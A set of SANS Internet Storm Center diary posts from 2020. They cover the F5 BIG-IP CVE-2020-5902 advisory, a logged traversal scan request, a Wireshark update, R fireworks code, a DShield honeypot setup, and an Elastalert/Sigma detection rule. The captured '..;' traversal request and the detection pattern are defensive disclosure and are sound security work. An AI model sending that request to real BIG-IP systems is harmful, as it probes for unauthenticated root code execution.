  • 14.1.0-14.1.2.5
  • 15.0.0-15.1.0.3

A directory traversal in the Traffic Management User Interface (TMUI) allows upload and execution of scripts (as root) by unauthenticated attackers.

F5 has released patched versions:

  • 11.6.5.2
  • 12.1.5.2
  • 13.1.3.4
  • 14.1.2.6
  • 15.1.0.4

F5's KB article K52145254: TMUI RCE vulnerability CVE-2020-5902.

We have observed Internet scans for this vulnerability. Remark that an attack over the Internet requires that F5's BIG-IP control plane is exposed to the Internet (there are 8400+ F5 systems on the Internet according to Shodan).

Several exploits and a Metasploit module for this vulnerability are public.

There is also a sigma rule and an nmap script (remark: not released by nmap).

We recommend to patch this vulnerability immediately if you expose the TMUI to the Internet, and if you can not do that, remove direct access to the TMUI from the Internet if you expose it.

In any case, go over your logs to identify exploitation attempts (F5 published the KB July 1st, and first exploitation attempts on te Internet were observed starting July 3rd): look for "..;" in the URLs. If you use grep (or another tool with regular expressions) to search through your logs, remember that . matches any character: use a fixed string (option -F in grep).

And let me close with Johannes closing remark on today's StormCast: "... certainly make sure that the management plane is not exposed to the public Internet, who knows when the next vulnerability in this feature will be found!"

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-07-05

CVE-2020-5902 F5 BIG-IP Exploitation Attempt

A quick heads-up: we are seeing scans for F5 BIG-IP's vulnerability %%cve:2020-5902%%.

They look like this (Host header redacted):

GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa HTTP/1.1
Host:x.x.x.x
User-Agent: Nuclei - Open-source project (github.com/projectdiscovery/nuclei)
Accept: */*
Accept-Language: en
Connection: close
Accept-Encoding: gzip

Here is a sigma rule for CVE-2020-5902.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-07-05

Wireshark 3.2.5 Released

Wireshark version 3.2.5 was released.

It has a vulnerability fix and bug fixes.

A vulnerability in the GVCP dissector (%%cve:2020-15466%%) can be abused to cause an infinite loop.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-07-04

Happy FouRth of July from the Internet Storm Center

For our readers in the United States, the 4th of July is Independence Day. As the 4th, under normal COVID-free circumstances, is typically celebrated with fireworks events, I thought I'd deviate a bit from information security topics and instead share a bit of code to create your own fireworks using R, a language and environment for statistical computing and graphics. My teams and I use R and Python constantly as part of security data analytics, particularly for data science and machine learning to further our detection practices and better identify anomalies of significance. You can follow along at home using RStudio as your IDE, and the latest version of R, 4.0.2 as this is written. All credit is due specifically to Edward Visel of Uptake, this is entirely his code, just modified ever so slightly for our purposes here. Edward was experimenting on his path to the perfect R-generated firework but I like each of them as variants in and of themselves. In the spirit of the old red, white, and blue, I selected three specific patterns, namely his explosion, particles and gnats, and the final firework. This work uses the tidyverse, sf, and gganimate packages, I pulled in magick to manipulate the resulting GIFs a bit. If you just want the TL;DR version, the results of the effort follows immediately, the code is in-line immediately thereafter. Happy 4th of July for those of you who celebrate it, cheers, stay safe and healthy to all!

Russ McRee | @holisticinfosec

Red

library(tidyverse)
library(sf)
library(gganimate)
library(magick)

theme_set(theme_void() + theme(
  panel.background = element_rect(fill = 'black')
))

#Explosion
p1 <- map_dfr(1:10, ~crossing(
  x = runif(30),
  nesting(
    y = seq(1, .x, length.out = 10)^0.5,
    t = 1:10)
)
) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'red') +
  coord_polar() +
  transition_time(t) +
  shadow_wake(0.5)

p1_gif <- animate(p1, renderer = gifski_renderer(), fps = 50,
                  width = 250, height = 250)

#Particles & Gnats
p2 <- map_dfr(1:10, ~tibble(y = seq(1, .x, length.out = 10), t = 1:10)) %>%
  mutate(x = runif(n())) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'white') +
  coord_polar() +
  transition_time(t) +
  shadow_wake(0.5)

p2_gif <- animate(p2, renderer = gifski_renderer(), nframes = 70, fps = 50,
                  width = 250, height = 250)

#Firework

p3 <- map_dfr(1:10, ~crossing(
  x = {
    x = seq(30) + 0.6*.x;
    ifelse(x > 30, x - 30, x)
  },
  nesting(
    y = seq(1, .x, length.out = 10)^0.5,
    t = 1:10)
)
) %>%
  ggplot(aes(x, y)) +
  geom_point(color = 'blue') +
  coord_polar() +
  transition_time(t) +
  shadow_wake(0.3)

p3_gif <- animate(p3, renderer = gifski_renderer(), fps = 50,
                  width = 250, height = 250)

p1_mgif <- image_read(p1_gif)
p2_mgif <- image_read(p2_gif)
p3_mgif <- image_read(p3_gif)

image_write(p1_mgif, path = "red.gif", format = "gif", quality = 75)
image_write(p2_mgif, path = "white.gif", format = "gif", quality = 75)
image_write(p3_mgif, path = "blue.gif", format = "gif", quality = 75)

1 Comments

Published: 2020-07-01

Setting up the Dshield honeypot and tcp-honeypot.py

After Johannes did his Tech Tuesday presentation last week on setting up Dshield honeypots, I thought I'd walk you through how I setup my honeypots. I like to combine the Dshield honeypot with Didier Stevens' tcp-honeypot so I can capture more suspicious traffic. Today, I'll walk you through my setup using a VM hosted by Digital Ocean, though the steps would work for pretty much any cloud provider.

I'm using Digital Ocean because you can set up a simple VM that is more than adequate as a honeypot for $5/mo. So, let's get to it.

First off, I'm going to create a new droplet (you may have to create a new project first). It is pretty straight forward. 

As you can see, that gets you a VM with 1 processor and 1GB of RAM, but that will be plenty. Next, you get to choose which datacenter you want this VM running in. For this exercise, I'm choosing London, but my next one might be Bangalore or Singapore or Toronto (you know how those Canadians are).

There a few more decisions you need to make. I highly recommend that you upload an ssh public key rather than setting a root password, but once you've done all that, hit the button to create your VM and wait until it comes back with the public IP of said new VM.

Now, from wherever you intend to administer the VM from, slogin root@<ip of your VM>, and one of the first things I would do (assuming you used a public key) is to modify /etc/ssh/sshd_config and change PermitRootLogin to without-password (don't get me started on what a poor choice that was for the name for enforcing only key-based logins). From this point on, I'll mostly follow the instructions found on github for installing the Dshield honeypot on Ubuntu. Note, I can skip the step about installing openssh-server since that is already there by default. Before installing the honeypot, let's get the system current on patches

# apt update && apt full-upgrade -y && init 6

So, we're now up-to-date on patches. Personally, there are a few other things that I add now to help me administer the honeypot, like installing aide and apticron. I also tweak the settings for unattended-upgrades, and modify /etc/postfix/main.cf to set the interfaces line to loopback-only, but we have a reasonably minimal system, at this point. Next we'll get the install script from github (git is also already installed) and actually install the Dshield honeypot.

Then you can run dshield/bin/install.sh to do the actual install. A couple of things to beware of in doing the install. First, make sure you include the IP of the system from which you plan to administer the honeypot in the 'local' IPs. Trust me, I've locked myself out more than once by forgetting that, so learn from my mistakes. Then, I'm going to set this honeypot for manual update for reasons I'll explain below. Otherwise, I pretty much just take the defaults and paste in my e-mail and API key from my account page at isc.sans.edu. At this point, you actually should have a working Dshield honeypot, but as I mentioned above, I want to add another honeypot tool.

I've become a big fan of Didier Stevens' tcp-honeypot-3.py (he's going to rename it when he officially releases it sometime soon-ish, because it can also do UDP), but I'm using the 0.1.0 version from Feb 2020. He appears not to have checked into his github beta repo, so if you want to play with the version I'm using, I guess you could contact me or just wait for Didier's official release whenever that happens. I've actually made 2 minor modifications to the 0.1.0 version, the first is that I make it log to /var/log/tcp-honeypot-3/ and I've fixed the logging so that it shows src-dst rather than dst-src. The latter fix Didier has already incorporated, and I expect he'll have a way of doing the former by the time he releases.

I've also created a systemd unit file (no, I don't want to get into the religious wars about how good or awful systemd is, that's what all the Linux distros are going with, so that is what I'm using to make sure the tcp-honeypot starts up with the system). Again, I've shared it with Didier, but if you want to play with it now, I've temporarily put it up on my own github (though I will probably remove it if Didier includes it with his release), you can find it here.

So, now I have both the Dshield honeypot on tcp-honeypot on the system, but the tcp-honeypot isn't actually capturing anything. The problem is, the Dshield honeypot is controlling the iptables rules. So, we'll need to modify those rules to allow traffic through to the tcp-honeypot. The reason I set the Dshield honeypot to manual updates is that any update to the Dshield honeypot, would wipe out these updates to the iptables rules. Johannes is working on an update to allow the "local" iptables rules to persist, so at some point, I'll be able to run auto update back on. He's also working on handling IPv6, too (which the current version of the honeypot disables completely on your VM). No pressure, Johannes, now that others know you are working on it there's no pressure to get it done soon. :-)

With the systemd unit file properly placed into /etc/systemd/system/, I can run 

# systemctl enable tcp-honeypot && systemctl start tcp-honeypot 

Now, let's see what all is listening on my honeypot, I'll quickly run lsof -Pni and I get the following

So, those python3 lines are the tcp-honeypot, the ones running as the cowrie user are the standard Dshield honeypot processes. I need to update the iptables rules to allow traffic through to the tcp-honeypot. I could do this in a couple of ways, but ultimately, we need to remember that the rules that the Dshield honeypot installed are located in /etc/network/iptables. So, we could modify that file, and then run iptables-restore < /etc/network/iptables. I actually chose to first run iptables-save > /etc/network/iptables, just to make sure that there was no difference between that file and what was live on the system. Then I added the 2 rules in the green box below to allow traffic through to the ports that tcp-honeypot is listening on and then ran the iptables-restore < /etc/network/iptables mentioned above. This way, I was reasonably certain I wouldn't lock myself out in the process.

And there you have it. My honeypot is now more flexible with both the standard Dshield honeypot and Didier's tcp-honeypot. Now if I see strange spikes in traffic to unknown ports, I can have tcp-honeypot listen on that port, update the appropriate rule above (for TCP or UDP) do the iptables-restore and I'll have a log where I can look at that traffic and hopefully figure out what the attackers are looking for.

I hope you found this useful, if you have questions or suggestions, feel free to comment here or e-mail me.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

6 Comments

Published: 2020-07-01

Elastalert with Sigma

A couple of weeks ago, Remco wrote a post about Sigma(1). I’ve also been spending a good bit of time setting up Elastalert rules with Sigma and wanted to expand on his great post. We are going to set up an elastalert rule for sigma_zeek_smb_converted_win_atsvc_task(2).

 

Convert Rule

Sigmac -t elastalert -c ./elastic_schema_config_file.yml /tmp/sigma/rules/sigma_zeek_smb_converted_win_atsvc_task >>/etc/elastalert/rules/sigma_zeek_smb_converted_win_atsvc_task.yml


 

Let's see what this rule is doing

This rule is looking at the bro_smb_files events where IPC$ and atsvc show up.

 

alert:

- debug

description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

filter:

- query:

    query_string:

      query: (event_type:"bro_smb_files" AND path.keyword:\\*\\IPC$ AND name:"atsvc")

index: '*:logstash-bro-*'

name: f6de6525-4509-495a-8a82-1f8b0ed73a00_0

priority: 3

realert:

  minutes: 0

type: any

 

query_key: ["source_ip", "destination_ip"]


 

Test it

On Security onion they have a command builtin called so-elastalert-test. 

#sudo so-elastalert-test -r /etc/elastalert/rules/sigma_zeek_smb_converted_win_atsvc_task.yml

 

1. Is the query running too slow?

2. Is it looking at the right data?

3. Are the results as expected?

 

elastalert_status - {'rule_name': '66a0bdc6-ee04-441a-9125-99d2eb547942_0', 'endtime': datetime.datetime(2020, 5, 29, 14, 51, 13, 474764, tzinfo=tzutc()), 'starttime': datetime.datetime(2020, 5, 28, 14, 51, 13, 474764, tzinfo=tzutc()), 'matches': 0, 'hits': 183990, '@timestamp': datetime.datetime(2020, 5, 29, 14, 53, 2, 609529, tzinfo=tzutc()), 'time_taken': 109.09370565414429}

 

If you are not getting any hits for the rule, expand the search to see if you have any true/false positives. On security onion manually, call the rule test and use the --days option. 

 

#docker exec -it so-elastalert bash -c ‘elastalert-test-rule /etc/elastalert/rules/sigma_zeek_smb_converted_win_atsvc_task.yml --days 25’

 

You may have false positives from your administrator's desktops talking to other systems, and you will need to adjust the alert to not match on these IP’s. Once you are happy with the results, we need to add it to our alert/IR platform. In this case, we are going to send it to TheHive.

 

At the bottom of sigma_zeek_smb_converted_win_atsvc_task.yml you want to add TheHive config. The MITRE Tags are not being transferred to the elastalert rule, and we’ll add them manually.

 

===

hive_connection:

  hive_host: https://ip

  hive_port: 9443

  hive_apikey:key

 

hive_alert_config:

  title: ' Sigma Remote Task Creation via ATSVC Named Pipe {match[source_ip]} -- {match[destination_ip]}'

  type: 'alarm'

  source: 'Sigma'

  description: 'Alert : {match[source_ip]}

  severity:2

  tags: ['elastalert', 'attack.lateral_movement', 'attack.persistence', 'attack.t1053','car.2013-05-004','car.2015-04-001', 'sigma']

  tlp: 1

  status: 'New'

  follow: True

  sourceRef: '{match[source_ip]}{match[destination_ip]}'

 

hive_observable_data_mapping:

  - ip: '{match[source_ip]}'

  - ip: '{match[destination_ip]}'

===

 

Now restart elastalert service and you should start getting alerts on any of these matches.

#so-elastalert-restart


 

(1)https://isc.sans.edu/diary/rss/26258

(2)https://github.com/Neo23x0/sigma/blob/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml

 

0 Comments